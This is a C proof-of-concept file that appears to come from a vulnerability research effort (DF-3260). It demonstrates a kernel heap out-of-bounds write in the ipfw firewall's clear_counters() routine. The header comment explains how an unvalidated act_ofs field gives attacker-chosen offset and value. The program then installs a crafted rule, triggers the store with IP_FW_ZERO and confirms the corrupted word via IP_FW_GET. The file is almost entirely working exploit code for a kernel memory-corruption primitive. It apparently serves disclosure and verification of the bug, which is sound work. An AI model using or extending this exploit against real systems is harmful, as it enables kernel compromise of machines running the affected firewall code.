/*
 * DF-3260 PoC 2 (v3) -- deterministic demonstration of the clear_counters()
 * OOB WRITE primitive (sys/net/ipfw/ip_fw2.c:5207-5214).
 *
 *      clear_counters(rule):
 *          l = (ipfw_insn_log *)ACTION_PTR(rule);   // cmd + act_ofs*4
 *          if (l->o.opcode == O_LOG)                // byte at +0
 *              l->log_left = l->max_log;            // 4-byte store at +8
 *                                                   // value = 4 bytes at +4
 *
 * act_ofs is copied verbatim from the user rule (ip_fw2.c:4515) and never
 * validated (DF-0261, read side). This PoC shows the STORE itself executes
 * with fully attacker-controlled OFFSET (act_ofs, 0..65535 -> up to +256KB)
 * and fully attacker-controlled VALUE (the 4 bytes at ACTION_PTR+4), by
 * pointing act_ofs at the rule's own O_LOG operand word:
 *
 *   cmd[0] = O_LOG   insn (len 3)
 *   cmd[1] = max_log = 0x00000128   <-- ACTION_PTR; low byte 0x28 == O_LOG
 *   cmd[2] = log_left
 *   cmd[3] = O_ACCEPT insn = 0x0000012b  <-- store lands here (+8)
 *
 * After IP_FW_ZERO the last instruction word reads back 0x00000128
 * (the chosen max_log value) instead of 0x0000012b -- a 4-byte kernel
 * heap write with chosen offset and chosen value, observed via IP_FW_GET.
 * No crash, no guessing; the same store with act_ofs > cmd_len is the
 * cross-object/OOB form (see VERDICT.md).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define O_LOG		40
#define O_ACCEPT	43

#define IP_FW_ADD	50
#define IP_FW_ZERO	53
#define IP_FW_GET	54

struct ioc_rule {
	uint16_t	act_ofs;
	uint16_t	cmd_len;
	uint16_t	rulenum;
	uint8_t		set;
	uint8_t		usr_flags;
	uint32_t	set_disable;
	uint32_t	static_count;
	uint32_t	static_len;
	uint64_t	pcnt;
	uint64_t	bcnt;
	uint32_t	timestamp;
	uint8_t		reserved[16];
	uint32_t	cmd[64];
};

#define INSN(op, len, arg1)	((op) | ((len) << 8) | ((arg1) << 16))

static struct ioc_rule *
find_rule(unsigned char *buf, socklen_t len, uint16_t rulenum)
{
	struct ioc_rule *rr = (struct ioc_rule *)buf;
	while ((unsigned char *)rr < buf + len) {
		if (rr->rulenum == rulenum)
			return rr;
		rr = (struct ioc_rule *)((unsigned char *)rr + 60 +
		    rr->cmd_len * 4);
	}
	return NULL;
}

int
main(void)
{
	static unsigned char buf[65536];
	struct ioc_rule r, *rr;
	socklen_t len;
	int s;

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("raw socket"); exit(1); }

	memset(&r, 0, sizeof(r));
	r.rulenum = 2000;
	r.cmd_len = 4;
	r.act_ofs = 1;			/* ACTION_PTR -> &cmd[1] (max_log) */
	r.cmd[0] = INSN(O_LOG, 3, 0);
	r.cmd[1] = 0x00000128;		/* max_log: low byte 0x28 == O_LOG */
	r.cmd[2] = 0x00000128;		/* log_left (set by validation) */
	r.cmd[3] = INSN(O_ACCEPT, 1, 0);	/* 0x0000012b -- write target */

	if (setsockopt(s, IPPROTO_IP, IP_FW_ADD, &r, 60 + 16) != 0) {
		perror("IP_FW_ADD"); exit(1);
	}
	printf("[+] rule 2000 installed (cmd_len=4, act_ofs=1)\n");

	len = sizeof(buf);
	if (getsockopt(s, IPPROTO_IP, IP_FW_GET, buf, &len) != 0) {
		perror("IP_FW_GET baseline"); exit(1);
	}
	rr = find_rule(buf, len, 2000);
	if (rr == NULL) { printf("[-] rule not found\n"); exit(1); }
	printf("[+] baseline cmd[3] = 0x%08x\n", rr->cmd[3]);

	if (setsockopt(s, IPPROTO_IP, IP_FW_ZERO,
	    &(int){2000}, sizeof(int)) != 0) {
		perror("IP_FW_ZERO"); exit(1);
	}
	printf("[+] IP_FW_ZERO(2000) done -> clear_counters() store fired\n");

	len = sizeof(buf);
	if (getsockopt(s, IPPROTO_IP, IP_FW_GET, buf, &len) != 0) {
		perror("IP_FW_GET after"); exit(1);
	}
	rr = find_rule(buf, len, 2000);
	if (rr == NULL) { printf("[-] rule not found\n"); exit(1); }
	printf("[+] after     cmd[3] = 0x%08x\n", rr->cmd[3]);

	if (rr->cmd[3] == 0x00000128) {
		printf("[!!] 4-BYTE KERNEL HEAP WRITE CONFIRMED: cmd[3] "
		    "0x0000012b -> 0x00000128 (value=max_log, "
		    "offset=act_ofs*4+8, both attacker-chosen)\n");
		return 0;
	}
	printf("[-] cmd[3] unchanged\n");
	return 2;
}
